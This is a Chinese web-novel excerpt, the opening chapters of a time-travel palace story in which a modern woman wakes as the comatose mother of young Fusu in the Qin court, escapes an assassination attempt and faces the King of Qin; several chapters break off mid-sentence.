《在大秦王宫的养崽日常》 1. 穿越 《在大秦王宫的养崽日常》全本免费阅读 咸阳宫内,万籁俱寂,只余下风吹树叶的沙沙声。一轮白月斜挂天边,光晕清凉如水。 王城东北角一处荒僻宫殿内,隐隐有啜泣声透出来,声音微弱,又被刻意压低,听起来很像是一只受伤的小兽在呜呜抽噎,很快便被风声掩盖,并未引起附近巡逻士兵的注意。 “阿母,阿母……” 姜暖荒芜、飘荡的意识里,陡然响起了这道声音。 小孩子的声音。清脆稚嫩,还带着浓重压抑的哭腔,可怜巴巴的,听着就让人忍不住心疼。 她很想抬起手掌,摸一摸伏在自己身边低泣的孩童的脑袋,可她现在一丝力气也使不出来,整个身体如同被石化,或者说,被禁锢在雕塑里,无从挣脱。 时断时续的记忆,一点点流入脑海,她的思维也因此渐渐苏醒了几分,指尖和脚尖,都产生了些细小的痉挛。 她听见耳边的啜泣戛然而止,接着一个温热的小身体整个朝她扑过来,轻轻地,却又有些迫不及待地晃动她的肩膀。 “阿母,阿母,你、你醒了!?” 仰着的面孔上,洒下一片热息,姜暖打了个硕大的冷战,眼皮缓缓掀开。 映入眼帘的,不是想象中的刺目灯光——实际上这个房间很是昏暗,只有一簇豆大的烛火明灭不定——而是一张小男孩白生生的小脸。 缀满泪水,眼仁乌黑,两腮还带着些未彻底退化掉的婴儿肥,是在街上看到会忍不住抱起来狠狠mua几口的类型。 “……” 姜暖呆滞地看着眼前的小豆丁,直到他的表情从震惊转为惊喜,最后变成嚎啕大哭。 室内陡然之间被哭声充满,她嗖地坐起来,却因长时间卧床,神经酸麻、肌肉无力,又重重的跌回床上。 不,不是床上。 她努力活动了下僵硬的手指,屈起来在身下摸了摸,确定自己此刻躺着的,是铺了两层褥子、有些潮湿发凉的地面。 一些方才捕捉到的画面,后知后觉地从记忆的乱麻中浮现出来,她这才意识到好像有哪里不对劲,心头猛地一凛,颤颤巍巍扭头朝小豆丁看去。 小豆丁还在哭,但声音明显压低许多,像是怕被什么人听见似的,压得胸腔剧烈鼓动,肩膀一抽一抽的,更加惹人心疼了。 然而姜暖此刻无从关注这些,她只见男孩以玉冠束发,着一身质地极好的米色缀金纹曲裾,腰间一条乌黑革带,怎么看怎么像古人…… 她揉了揉眼睛,定睛再看,还是一模一样的装束,不仅如此,微弱烛光下周围的陈设也都是古香古色,像极了电视剧中的场景。 ? 姜暖感觉心一截一截凉了下去。 她莫非是——穿越了? 她会有这个想法并不奇怪,因为她确实是猝死了。 连续十个通宵加班,她悲催地猝死在了踏出公司的半分钟后。 意识消散前,她心中还在遗憾,为何不晚几分钟出来,也不知道这种情况,还算不算工伤,能不能给家人留点抚恤金…… “阿母?”男孩鸦睫上缀满水雾,一双乌黑的眼睛像是被雨水冲刷过的黑曜石,波光粼粼地望向她。 姜暖身上的恍惚瞬间褪下去好几层,她艰难地动了动嘴唇,发出干涩的声音: “阿、阿母?” 她木讷重复道,支棱出一根食指,朝自己指了指。 男孩眼中闪过疑惑,但仍认认真真地一点头,屈膝往前挪蹭了一步,乖巧地跪坐在她褥边,两只膝盖几乎触碰到了她僵直的身侧。 他此刻已经不哭了,两串小鼻涕在嘴唇上方若隐若现,他用力抹了抹眼睛,眼底深处是一种近乡情更怯般的神色。 姜暖仍有些难以接受现状。自己不仅穿越了,还穿成了一个四五岁男孩的妈,而见到自己睁眼,男孩居然哭得如此激动,莫非自己昏睡了很久? 为何会昏睡呢?看身体的僵硬程度,至少昏了一年半载,该、该不会是被有家暴倾向的渣男老公殴打的吧? 想到这儿,她打了哆嗦,一把摁住小豆丁的小手,费劲地侧抻着脖子,嘶哑问道:“孩子,你爹呢?” 男孩愣了愣,显然没听懂“爹”这个词是什么意思。 姜暖想了想,改口问道:“我是指,你阿父呢?” “阿父在章台宫呢,阿母你莫要怕,一会儿儿臣就去把你醒来的消息禀告父王。”小豆丁吸溜着鼻子,勇敢地说道,一边做着起身的动作。 然而这短短的一句话,却震得姜暖耳膜呼呼直响。 章台宫,儿臣,父王…… 信息量好像有点大。 还没来得及继续追问,门外忽然起了骚动,似乎有好几个人,正富有节奏地朝这边快速走来,其中不乏身着铠甲的军士,佩剑与甲胄碰撞摩擦出铿锵之声。 有人焦急地拍门:“公子,公子,有人来了,快,快从后门离开,快点——” “不,阿母醒了,我要去告诉父王!”小豆丁咚咚咚跑到门前,大声宣告道。 “什、什么,夫人醒了!?不不,公子您现在切莫声张,晚上容易生变,您明日白天再去禀告王上吧。”门外的女声急促劝导道,听语气像是个侍女。 小豆丁迟疑了,他手摁在门板上,转头看向姜暖,一时间难以下决心。 “孩子,你就按她说的做吧,快走,免得给自己惹来麻烦。”姜暖咬了咬唇道。 虽然不知道自己是谁、身在何处,但她大体判断出了原主此刻的境况。 大约她是某个君王不得宠的妃子,因长期昏迷,被搬进了这样一处荒凉的住所(或许是冷宫?),只留有一两个宫女照顾,而这其中,似乎还牵扯了些尔虞我诈,不然门外的女子也不会这样惊慌,还说出了那样的劝慰之语。 姜暖身上的最后一丝恍惚倏然消散,她意识到了自己可能面临危险,朝小豆丁招了招手,小豆丁听话地跑过来,重新在她身边跪坐。 门外的侍女也推门进来了,她圆脸蛋,十八九岁的样子,睫毛又长又黑,让人无端联想到林间纯朴无害的小鹿。 女孩双目圆圆地瞪向她,惊喜的神色一闪而过,很快被更浓重的焦虑取代,她不断扭头瞅着朱漆高门,急得直跺脚,一副想说话又说不出来的样子。 时间不多,外面的兵戈碰撞声越来越逼近,姜暖没法询问什么,只能压低声音叮嘱道: “好孩子,乖,听话,快点回寝宫去,我接下来会继续假装昏迷,有什么事咱们明天白天再说。” 小豆丁虽然不甘心,但还是很听话地点了点头,动作异常熟练地朝着殿舍另一端快步走去。 他一步三回头,身躯小小的白白的,像只糯米团子,很快便消失在了一团浓郁的黑暗中。 这个地方虽荒芜冷清,却蛮宽敞,差不多能装下一个大阶梯教室,她更加确信这里的确是王宫无疑。 小侍女没多问什么,飞快地扶她躺下,伪造现场,刚刚把被角掖好,门就被粗鲁地大力拍打起来。 砰,砰,砰,每一下都仿佛是直接拍在姜暖心口上,令她出了一身冷汗。 真的很可怕,至少她在现代社会,没遇到过这样凶神恶煞的人,以及这样凶神恶煞的敲门方式。 “开门,快开门!”几乎是吼声了。 侍女跌撞着起身,闭着眼睛姜暖也感觉到了她的惶恐,指尖不由得微微蜷了一下,有些担心这样继续装死是否是一个正确的选择。 门被打开了,初秋的冷风灌入,令姜暖很想打个喷嚏,她手指在被窝中紧抓,硬生生将这个危险的冲动压了下去。 “我等方才听见里面有躁动。”一个男人的高门大嗓在门口响起,“发生了什么?” “是、是我在哭——”侍女磕磕巴巴说,“我方才想起了和夫人在楚国一起长大的那些日子,不由得悲从中来,给、给你们添麻烦了。” 她嗓音甜脆,像只初生的小黄鹂,很容易让人卸下防备。 “以前不哭,为何今日要哭。”问话之人却毫无怜香惜玉之心,厉声如故。 小侍女卡壳了,半晌才支吾答道:“因、因今日是家母的生日,家母年前过世了,诸多伤心事叠加在一起,故而才如此难受——” 门口静默了一瞬,就在姜暖以为一切完美解决之时,另一道男人的声音冷幽幽地响了起来: “以防万一,可否让我查看一下国夫人的状况?毕竟他国曾发生过侍女虐待冷宫主人之事,我等奉命在此巡逻,为的就是保护国夫人。” 他这话是对着为首之人说的,那人似乎觉得很有道理,对他道了声“好”。 “不行 2. 求救 《在大秦王宫的养崽日常》全本免费阅读 姜暖花了足足好几分钟,才从震惊中回过神来。 她有许多许多问题想要问,然悬在头顶的利剑,不知何时就会落下来要了她的小命,她现在没有那么多时间可以浪费,必须捡要紧的来问。 “你知道是谁想要杀我吗?”她一边问,一边努力活动着身体的每个部位。 虽然万分煎熬,骨节噼啪噼啪响得惊心动魄,却不影响正常运动,只要她能忍受那种半无知觉的僵麻感。 那是一种比痛还难受的感觉,它让你感觉不到自己的存在,就好像幽魂附在死尸上,每一个动作都生硬得像是被绳索牵引。 “我……我也不知道。”秋穗垂下脑袋,弱弱地回答道。 姜暖认真观察了她一番,觉得她是真的不知道,而且可能心里连个怀疑的人选都没有。 不是太单纯,就是陪她在这冷宫里呆久了,与外界早断了联系。 “罢了,秋穗,刚才也和你说了,我记不住以前的很多事情,你简单和我说说吧,比如我为何会昏迷在这里,昏迷了多久?这期间只有你照顾我吗?扶苏他……经常来看我吗?” 秋穗用袖子抹了抹眼眶,一个问题一个问题地回答道: “您在生公子时难产,虽然公子健康顺遂地出生了,您却自此失去了意识,到今日为止,昏迷了整整四年呢。最开始还有两个侍女和我一起照顾您,后来见您迟迟没有苏醒的迹象,那两人便被太后调到别处去了,只留下我一人服侍您。公子他一出生就由乳母照顾,随着年岁增长,懂了事,知晓自己的亲生母亲还活着,便时常偷偷来看您,最近越发频繁了呢。” “为何?”姜暖嗅到一丝突破口,打断问道。 秋穗歪了歪脑袋,露出单纯又悲伤的神色:“因为王上想让其他夫人抚养他,他不愿意——” “哦,是这样啊。”也不知是不是被原主情绪影响了,姜暖感到心脏一阵绞痛。 这孩子还真是打小就惨,先是没了妈,后来爹又不爱了,发配到上郡,最后还被脑残弟弟矫诏赐死了,姜暖回想起他方才离开时,一步三回头的糯米团子样,心脏又是一阵抽痛。 但相较于可怜兮兮的扶苏,她现在更关注自己的死活,毕竟她要是死了,扶苏岂不是更伤心。 所以几天前下毒杀她的人,到底是谁? 首先这人应该是最近才起意,否则早就行动了,其次,他或她应该很有权力地位,能够在厨房准备的吃食中精准下毒,还不被任何人发觉。 那么,符合这样条件的人,都有谁呢? 姜暖突然无比庆幸,自己穿越到了有名有姓、知名度又极高的朝代,而非某个莫名其妙的架空小说里,她凭借自己对秦朝的些微了解,掰着手指头分析了一番。 秦王?不至于,他要杀自己根本就不用这么迂回,而且他也没有杀她的缘由,反正咸阳宫这么大,还差养她这个半死不活的女人吗? 其他争宠的妃子?若是在其他朝代她还能信几分,可秦王的妃嫔,在历史上留下名字的都没一个,争宠什么的,简直难以想象。 所以说,到底是谁? 她实在分析不出来。像自己这样一个和死了差不多的人,谁会想要除去呢? 放任自己继续躺尸,也影响不了谁吧。 在秋穗的搀扶下,她总算哆哆嗦嗦地站立起来了,一阵头晕目眩后,她直接坐在旁边的长案上,扶着额头深深吸了几口气。 小侍女被她坐姿震撼到了,眨巴着睫毛离开了一会儿,捧着一碗加了蜜的温水回来。 她在她面前尝了一小口,才弯腰递给她,姜暖本不想喝,无奈嗓子干痛得像开裂的土地,犹豫片刻,接过来一口气喝光。 “你帮我接一盆温水吧,我想洗洗脸。”她又吸了两口气,温和地吩咐道,“谢谢”二字差点就脱口而出。 她实在不擅长命令人,幸好顶着原主的脸和声音,让她的语调听上去没那么怪异了。 秋穗得令离开,姜暖勉力从案上站起,摇摇晃晃原地绕了两圈,总算找到些感觉了。 就在这时,她突然注意到裙裾上的一片花纹,勾着脖子向下看一眼。 就在她刚刚低下头的瞬间,一道极快的风声从头顶嗖地窜过,接着,是什么东西狠狠刺入旁边屏风布面的噗嗤声。 姜暖身子一僵,虽然不知道发生了什么,脖颈处的汗毛却先一步根根竖立起来。 她惊呼一声,本能地扑到在地,很没尊严地撅着屁股匍匐到屏风之后,躲在里面瑟瑟发抖了片刻。 在屏风后面,她找到了方才擦着她颅顶飞过的风声的来源。 那是一根泛着冷锐光芒的银针,三分之二的部分已刺穿屏风,针尖呈鲜红色,显然淬着剧毒,若是她刚刚没有恰巧被裙子上的花纹吸引而低下头,这根银针怕是要穿入她的太阳穴,无声无息中将她杀死—— 好歹毒。 她这回连牙齿都开始打战,目光死死盯着那枚细小暗器,虽然怕得要死,却怎么也移不开视线,仿佛这样盯住它,就不会有第二根、第三根毒针射过来。 有人要治她于死地,她要怎么办? 怎么才能活下来? “夫人,水准备好——” “秋穗,趴下,快趴下!”她扯着嗓子喊道。 秋穗被吓了一跳,下意识地卧倒,手中铜盆的水洒了一地。 她从屏风后向小丫头招手,后者也怕得不得了,蚯蚓一样蠕动过来,和她躲在一起。 两个女孩瑟瑟发抖地互相对视,姜暖指了指头上的毒针,一切尽在不言中。 “快逃吧,夫人,这里呆不了了,无论始作俑者是谁,今夜都不打算让您活下去了,您赶紧换上我的衣服,从后门逃出去!” 秋穗一扫先前的稚嫩,抓住她的手腕,眼神坚定地说道。 姜暖愣了一下,刚想说不,秋穗已经飞快脱下了衣裙,迫不及待塞给她。 “快脱啊,夫人,我们换衣服,我装成您继续待在屋里,您赶快逃走,想办法找救援。对了,去找华阳夫人,只有她才靠得住——” “可我不能把你留在这里啊。”姜暖虽然很想跑,却始终绕不过心里那道坎。 她天生便不擅长利用人,更别提利用他人的性命为自己保命了。 “若是我们一起留在这儿,都会丧命的,您若是能寻到救援,兴许还能救我一命,快换衣服吧,夫人,没时间了。” 姜暖咬咬牙,脱下曲裾,笨拙地换上她深蓝色的侍女服,还想说什么,被秋穗摇头制止了。 秋穗在她后腰上狠狠推了一把,示意她赶紧走,姜暖牙齿在下唇上咬出一道深深的白痕,她用力攥了下手心,回头对秋穗说道:“你一定要活着,我会来救你的。” 说罢,也没墨迹,匍匐爬到阴暗处,才敢摇摇晃晃站起来,她回想着扶苏先前消失的方向,朝那里走去。 然而眼前有三条回廊,她只觉得脑子里“嗡”了一声,凭直觉选了左侧那条,竟很幸运地到押对了宝。 那扇小门极不起眼 3. 王兄 《在大秦王宫的养崽日常》全本免费阅读 姜暖呼吸一窒,眼睛一瞬间睁得圆圆的,若一只受惊的小鹿。 她大脑飞速转动,猜测着少年人的身份。 其实只要稍微冷静下来,一点也不难猜。这个年纪,这份略带纨绔的矜贵气度,还有深更半夜在王城内闲逛的做派,除了那一个人,还能有谁呢? 若扶苏不是个四岁的娃娃,猜测范围还能宽广点,但鉴于秦王很可能都不到二十五岁,根本没可能生出这么大的一个儿子,那他就只能是他同父异母的弟弟,长安君成蟜。 她猜到了,却不敢轻易说出口,眼睛滴溜溜转了一圈。 少年嘴角一歪,扯出一抹皮笑肉不笑的笑意,手掌从她耳旁的树干上移开,身体也向后退开半步,那种仿若被毒蛇盯住的森然感倏忽散去,宛如错觉。 “是啊,你陷入昏迷时,我才只有十三岁,和现在比,确实判若两人。” 他仰头看了眼树梢上的月亮,短暂地感慨了一下。 姜暖连忙趁机调整下呼吸,在她的印象中,成蟜差不多就是在这个年纪叛逃了赵国,兵败后自尽而亡。 她忽然无比后悔刚才那轻率的“以一换一”行为,他该不会想拉自己谋反吧—— 不过那也是后事,她现在保住小命最要紧。 “那你知道,是谁想要杀我吗?”她改了称呼,努力让自己的语气听上去像个长辈。 成蟜意味深长地瞥了她一眼,声调略微拉长:“谁想杀你?呵呵,这偌大的王宫内,能如此放肆派刺客的,除了那位,还能有谁啊?” “王、王上?”姜暖立刻泪眼婆娑起来,一半是装的,一半是真害怕了。 在秦国,得罪其他人都不是死局,但得罪了秦王,可就不行了,大概率谁也保不了她—— 话说原主一个身娇体软,还为他生下了可爱糯米团子的柔弱女子,到底何德何能,引得他恨意滔天,以至于都想要将她灭口呢? 莫、莫、莫非是……出轨了? 她被自己的猜测荒唐到了,梗着脖子使劲摇了摇头,试图将荒谬甩出脑海。 “我说,你是不是失忆了啊?”成蟜忽然流露出几分少年人特有的不耐烦,“肯定不是王兄就是了,虽然你做出了那样的事,在他眼里也罪不至死,更何况——” 他顿了顿,唇角自嘲地勾了勾,再度言道: “更何况他先前还是挺喜欢你的,当然也会因此更加生恨就是了,不过杀你,倒是不至于,你看他不也没处罚我么。” 这段话信息量过于庞大,姜暖只觉得大脑cpu要冒烟了。 啥叫“即便你做了那样的事”、“罪不至死”和“更加生恨”? 而且,为啥连他也跟着搅和进来了? “那个……”她嘴唇脱水的鱼般翕动了几下,几度欲言又止,最后只是嗫嚅着重复问道,“那到底是谁,想要杀我呢?” “这个嘛,你自己猜吧,我可不想给自己和阿母惹麻烦。”他的语气讳莫如深,眼神却含着鄙夷,这份鄙夷显然不是针对她的。 这种情况下,她也是没法再追问了,突然想到了秋穗,又一把抓住他的胳膊:“我的侍女呢,她……不会有事吧?” “那就看她的造化了。”少年不动声色晃开她的手,避嫌一般,“如果我的人赶去前她还活着,便不会出事,若是没捱到,那我也爱莫能助了。不过你现在更应该考虑的,难道不是你自己吗?” 姜暖颓丧地咬了咬唇,手指在袖袍下轻轻蜷起。 “若我是杀手,很快就会发现你与侍女换了衣服,我会放弃那个丫头,直接来追你,遇见我算是你的幸运,不过我不会一直陪在你身边的,我只是一个碰巧路过的人,看见王嫂失魂落魄好心搭了一把手,谁也挑不出毛病,但若一直陪着你,便是僭越了,芈夫人,接下来你要怎么办啊?” 意思很明显,他这是在撵她走呢。 不知为何,姜暖总感觉他身上有股违和感,但她没工夫去细想,脑中响起了临走前秋穗的叮嘱。 “那个,你能送我到华阳太后那里吗,我、我想见见她——” 按照野史记载,成蟜是华阳太后从小带大的,感情很不一般。虽说没什么必然联系,但她就是感觉搬出华阳太后来,会让这个有些傲慢的少年再接着帮自己一把。 然而他却极缓慢地摇了摇头,向前迈了几步,腰间玉玦轻轻晃动:“祖母在你昏迷后没多久,就被王兄禁足了,无法离开华阳宫,我看你还是另寻他法吧。” 惊天霹雳一个接着一个,姜暖本来就无比虚弱的神经,有点承受不住了,她原地摇晃了两下,差点跌倒。 “那……那我又能向谁寻求帮助呢?”她喃喃地,几乎是自言自语道,这一瞬间,她是真的感到了一种灭顶般的绝望。 骤然被抛到一个人生地不熟的世界,刚睁开眼睛就面临被暗杀、追杀,好不容易有了一丝希望,却又眼睁睁看着它破灭—— 她抬起手指揉了揉眼睛,原主肌肤细腻嫩滑得像剥壳的水煮蛋,却透着股死人般的冰冷温度,有那么一刹那,她想还不如坐以待毙,死了算了。 她有抗争心,可惜不多,撑到现在,已然有些疲乏了,再加上身体实在不给力,能强撑着在他面前站住,靠的全是毅力与求生欲。 “直接去见王兄吧。”身旁淡淡飘来一句。 姜暖心头一颤,以为 4. 秦王 《在大秦王宫的养崽日常》全本免费阅读 一位头戴黑色高帽的年轻内侍,步履匆匆将她引入大殿之中。 殿内气息肃然,沉凛,虽然陷在半明半暗中,内容辨不明晰,却依然让人手脚发软,连呼吸都不敢放大。 两侧雄伟的殿柱托起高大的穹顶,雕刻繁复图纹的青铜王座,在很深很远的前方犹如一只巨兽森然沉睡,令人几乎不敢直视。 姜暖只匆匆瞥了眼,就心有戚戚地收回视线,专注地盯着脚下地面,跟在内侍身后朝着大殿左侧一处偏殿走去。 “您先在这儿候着吧,王上此刻公务繁忙,稍后见您。” 内侍面无表情地说道,不等她给出反应,就转身离去了,只留她一人,满脸茫然、又湿又冷地杵在原地干瞪眼。 啥? 也不给条毛巾或者热水什么的吗,好歹也是国夫人啊—— 不过她很快想到了自己的尴尬处境,以及秦王很可能恨自己这一事实,便觉得这待遇也算可以了,至少没让跪在殿外大雨中候着,或者干脆置之不理,任由她被追杀。 她抬起湿漉漉的袖子,擦拭着脸上和头发上的水珠,幸好殿内有炭盆和带着热气的熏香,让她身体稍稍暖和了过来。 只是衣服已然全部湿透,沉甸甸地坠在身上,又粘又重,令她感到难受,她朝四处望了望,连个内侍的影子都没看见。 这里真的是秦王处理政务的地方吗?她不禁起了怀疑,方才那内侍该不会是特意把自己引到相反的方向吧? 就像电视剧里演的那样,为自己的主子抱不平,打算捉弄她一番? 这个猜测着实有些荒唐,她自己都感到可笑。 他将她带到这里,无疑是秦王下的命令。 秦王其人,她并不了解,但几千年历史流传下来的印象都是极其不好惹,又有些专横的,这样的人,谁敢替他瞎做决定?不想活了吗? 侧殿也相当宽阔,能装下三个姜暖家,四周立着青铜鼎、漆黑框的屏风、烛台架,还有许多姜暖叫不上名字的器具装饰,几盆阔叶植物在角落里兀自郁郁葱葱着,仿佛是历史沉默的见证者。 她很没见识地扭头看了一圈,并不敢做出明显的动作,生怕传说中的秦王从某个黑暗角落冷不丁迈出来,吓得她双膝一软瘫坐在地。 不知怎么的,她就是觉得他很吓人,甚至有那么一瞬间,威慑程度都超过了外面那个杀手。 她在惴惴不安中,在静默无声中,站了足足一刻钟,而后是两刻钟、三刻钟,然而秦王始终没有现身。 惶恐之余,她替原主感到伤心。 在前十几分钟里,她还可以说服自己是王上太忙,不得不让她先候一会儿,这挑不出什么大毛病,电视剧里不也经常这么演么,顶多说明他对她没什么爱意,也不会感到心疼与怜悯。 然而一个小时都快过去了,他明明深知她昏睡四年刚刚苏醒,又深知她被杀手追杀还淋了雨,竟也忍心让她孤零零立在空无一人的殿舍内枯等,这种行为别说是无爱了,简直可以说是饱含恨意了。 他故意让她苦等,故意让她难受又难堪。 姜暖身体里某处猛地一颤,有几分想回身冲进大雨中。 她宁可面对阴险的杀手,也不大想面对对她怀有恨意的秦王。 呜呜呜,为啥要穿越成这种身份啊?穿成公主不好吗,再不济穿成赵姬也行啊,至少能安安稳稳活上几十年,不至于一上来就面临被噶的局面…… 她抬袖抹了抹眼泪,鼻子抽了两声。 因为淋雨又因为体力不支,她实在是站不住了,一瘸一拐走到旁边一座屏风旁,单手撑着靠了一会儿。 窗外雨声依旧淅沥,她忽然觉得额头有些烫,身上又有些冷,这些发烧的征兆令她不安起来,毕竟在古代,感冒拉肚可都是能要人命的啊。 她咬咬牙,勇敢地走出偏殿,想去唤来一个内侍,让他帮忙再通传一声。 然而走出很远,都没能看见一个人影,只在正殿大门外,看到守门侍卫的身影在雨中岿然不动。 正殿是上朝用的,此刻只在两侧角落燃着两架蜡烛,烛火虽盛,却也只能照亮门口区域,其他空间仍陷在一团黑暗中,惟有远处高阶上的王座,在昏暗之中散发着凛凛锐光。 姜暖打了个冷战,双手紧紧揪住曲裾前襟,打算去右侧方向再寻一圈。 若是再寻不到人,她干脆就躺倒在侧殿地面上,权当是晕死过去了,怎么也比傻站着强。 她像贼一样,在半明半暗中摸索着,依然未见人影,却在右侧一处凹进去的偏殿外,看见很多金色的烛光溢出来,一直延伸到她脚下。 凭借方才的观察,她发现有人的地方才会灯光明亮,否则都是半明半暗的,由此判断这里面一定有人。 会是谁呢? 她这边想着,双脚已先于大脑迈了进去。 令她意外的是,这是一间书房,或者说藏书室更贴切。 百十个高大到几乎参天的铁质书架,像图书馆那样成排分布,规整、繁密,有股令人惊心动魄的气势,只是书架上放的不是整齐的书本,而是密密麻麻的带封套的竹简。 姜暖哪见过这架势,简直看呆了,表情愕然地瞪了良久,目光在前排书架上迟钝地扫视一圈,最后落在散落在地的几只竹简上。 大约五六个,凌乱地半摊开在地上,封套也乱七八糟地散着,与架子上的整洁形成鲜明对比。 是风吹的吗? 姜暖扭头一看,果然旁侧有两扇窗户大敞四开着,冷风源源不断灌入,一些雨珠危险地迸溅进来,砸在靠边的书架上。 她是个爱书之人,想也没想就小跑过去,弓腰俯背,动作极其笨拙地 5. 回寝宫 《在大秦王宫的养崽日常》全本免费阅读 姜暖本就有些害怕,他那冷中带恨的眼神,更是让她的惶恐直接飙到了顶点。 她大脑几乎停滞,半晌才注意到手还捂在嘴巴上,连忙哆嗦着挪了下来,垂在身体两侧,指尖微微痉挛。 一时间无人言语,外面雨水击打着窗格和屋檐,发出沉闷而遥远的声音。 她是不是该跪下?姜暖垂下脑袋想,或者拱手行礼?两只手,哪只在前面来着? 她绞尽脑汁回想着先秦时代礼仪,却发现自己脑子里一点存货都没有,根本无从回想。 “醒了?”轻飘飘的声,是秦王率先打破了死寂。 姜暖像被针扎了一下,连忙抬头去看他,肩膀和脖子都绷得紧紧的,可却看见他面容微垂,目光早已不在她身上,而是看着手中书简,问话也只是漫不经心地吐出一句。 就好像她只是雨天误闯入的小猫小狗,不值得他分神。 姜暖心里瞬间涌现很多回答,脱口而出的却仅是一句讷讷的:“嗯”。 殿内再度陷入沉默,大约又过了几分钟,秦王才一边哗啦啦卷着竹简,一边缓缓抬起头来。 他目光扫过来时,姜暖又一次感到了惶恐,也不知是搭错了哪根弦,她竟弯下腰来,将方才摔落在地的竹简捡起,拍拍灰,小碎步走到他跟前,双手握着递给他。 做这些时,她脑中仍是一片空白,自然也完全不理解自己何这样做,但无论如何总比呆站着被他用刀子一样的眼光凌迟强。 秦王面上似是闪过一丝惊讶,他没有去接竹简,而是带着些许玩味与怀疑,沉默地,居高临下地继续打量着她。 姜暖讪讪缩回手臂,将书简贴放在胸口,乌黑纤长的睫毛低低垂覆着,根根分明,泛着潮湿水光。 她不知晓原主与秦王之间发生过什么,也不知晓二人的相处模式、性格举止,所以无论怎么做都存在露馅的风险,索性咬了咬牙,脖子一仰,努力凝视住他黑沉的眼眸,一鼓作气禀报道: “王、王上,有人想要杀我——” 此话说出,心中陡然轻松不少,像卸下了一座山,她黑白分明的眸子依旧盯住他,屏息等待他的回应。 虽然害怕,却也不得不这么做。这个回应至关重要,或许能决定她的生死。 “知道了。” 秦王却只是淡淡道了一句,面色无改,接着长臂一扬,厌恶似的将手中书册,抛掷到先前有竹简凌乱散落的地方。 姜暖这才意识到,方才那些书简,不是被风吹落的,而是被心情不大好的秦王,故意扔出去的。 自己好像自作主张做了多余的事。 想到这儿,她更加汗流浃背了,指尖紧张地摩挲着竹片,试图挤出下一句话。 “您能不能——” 派人保护我一晚…… “父王,父王!” 扶苏稚嫩的嗓音从外面不远处传过来,伴随着哒哒哒的脚步声和内侍慌张的劝阻声,打断了她好不容易憋出来的话语。 不知怎的,他声音一出,竟令她产生了一种奇特的安心感,她侧转身体,朝着入口方向看去。 很快,浑身湿漉漉的小糯米团子就冲了进来,身后跟着两个刚才姜暖无论如何也没能找到的内侍。 点头哈腰,小心翼翼,皆是一副生怕小公子跌倒或者打扰王上的卑微神情。 “阿母!”小团子先是跑到她跟前,眼泪汪汪地仰头看了她一眼,还不待姜暖挤出讨好的微笑,又颠颠奔到秦王身边,犹豫又勇敢地用一只小手揪住他玄色袍子。 “父王,阿母她终于醒了,求求您,能不能让我和阿母住在一起?”他仰着白生生的小脸,对自己的父亲恳求道。 声音软糯却坚定,随着话音落地,小手又充满哀求地晃了晃。 他个子还不到秦王腰间,小小一团缀在他袍子边上,可爱极了,肉眼可见秦王的表情柔和缱绻了下来。 但也仅是一点点,他用大掌揉了揉儿子的小脑袋,朝姜暖投来一瞥。 目光依旧冷硬,带着些刻意而为的漠然,姜暖突然觉得,他似乎早就知道有人暗杀她这件事了。 而且也知道她已苏醒过来。 只是她现在脑子太乱,没精力去捋顺这些。 “求、求王上让我和扶苏住在一起吧,我……妾自扶苏出生起就没能陪在他身边,实在是过意不去——” 姜暖顺势扑通一声跪在地上,跪得无比虔诚拜服。 她如此请求,除了扶苏实在可爱惹人疼外,更是出于一个有些自私的目的。 那便是自保。 若是秦王同意,那么一定会加强安保,毕竟他不可能让自己的长子陷入危险之中,而且也从侧面表明,他虽恨她,却不至于入骨,这样的话一切就有转圜的余地。 她如此想着,偷偷掀开眼皮,意欲观察秦王的表情,却与他斜过来的视线直直相撞上,唬得她连忙埋下脑袋,手指紧紧揪着袖口,心跳如鼓。 只见他长身绕过扶苏,缓缓朝她迈步而来,很快,一片高大浓郁的黑影,就像网一样将她兜头罩住。 姜暖打了个哆嗦,瑟瑟地抬起头。 蓦地对上了一双绿光幽幽的眼睛,她先前只在纪录片中的狼身上,看到过这种眼光,不由得脊背生寒,睫毛颤了颤。 都说是“虎狼之君”,倒也没必要这么具象化…… 她小鸡仔一样缩了缩脖子。 “芈蓉,你——知错了吗?” 他眼睛牢牢锁在她微微扬起的雪白面庞上,忽然开口质问道,嗓音带着沙哑的寒意,以及一股压抑的不悦。 姜暖小鸡啄米般使劲点头。 认,什么错都认,只要能保证她安全。 秦王眼底闪过诧异,这时小扶苏又粘了上来,仍是怯怯又勇敢地揪住父王的袖子,又恳求了两声。 “赵高!”他突然高声唤道,抬手将袖角从儿子手中轻轻抽了出来。 其中一位内侍弓着身子上前,他很年轻,也很清秀,微微有些胖。 “派一队侍卫,护送夫人和公子回寝宫。” 他沉声命令道,目光仍在姜暖白一阵青一阵的脸上徘徊,像是想要从她的面皮上,看出她内心真实的想法。 他显然并不相信她的飞速认错。 但姜暖心里还是大大松了口气。不管怎么说,人身安全总算有保障了。 扶苏这时开心极了,小兔子似的蹦跳到她怀里,拱来拱去。 姜暖连忙一把抱住他,主要为了缓解不安,同时找个合适的理由避开他探究深邃的注视。 “多谢父王。”扶苏扭过身子,冲秦王行了一个稚嫩的拱手礼。 秦王幽沉的眸光中,掠过一抹不易察觉的温情,只是消逝得太迅疾,无人捕捉到,看上去仍是一副冷面冷情的模样。 姜暖直起身来,模仿着赵高的动作,对秦王拜了一礼,然后牵起扶苏的手,跟在赵高身后步出书房。 路过被秦王扔在地上的简册时,她轻轻侧歪了下身体,飞快地将手里的竹简,抛到它同伴身上。 倏忽之间,她感到身后秦王的视线好像陡然锐利了一瞬,像是锥子一样扎着她后背。 回寝宫的路上,无需再提心吊胆,雨已经停了,前前后后一整队带刀侍卫,浩浩荡荡,铿铿锵锵,安全感爆棚。 而且她感觉,无论刺杀她的人是谁,应该都不会再下手了。 所以说那个人,到底是谁呢? 寝宫距离章台宫不算远,大约一刻钟的路程,侍卫们很尽职地护送她到门口,对她的态度虽算不上恭敬,却也无可指摘。 推开殿门,温暖的气息扑面而来,催出了姜暖身上的疲乏。 方才心弦一直紧绷,虽然倦极累极,却始终不敢松懈,硬生生憋出了一股韧劲,如今一切尘埃落定,她只感到又困又乏,恨不得下一秒就瘫在床上长睡不起。 寝殿宽阔,华丽,却只住着扶苏和七八个宫女、内侍,见她进来,小 6. 霹雳 《在大秦王宫的养崽日常》全本免费阅读 “夫人,夫人,快醒醒,王上派侍医来给您诊脉了,就在殿外候着呢。” “公子,公子,您也快起床,不然去学堂要迟到了——” 在秋穗手慌脚乱的摇晃中,姜暖一边揉着眼眶,一边迷迷糊糊睁开眼睛。 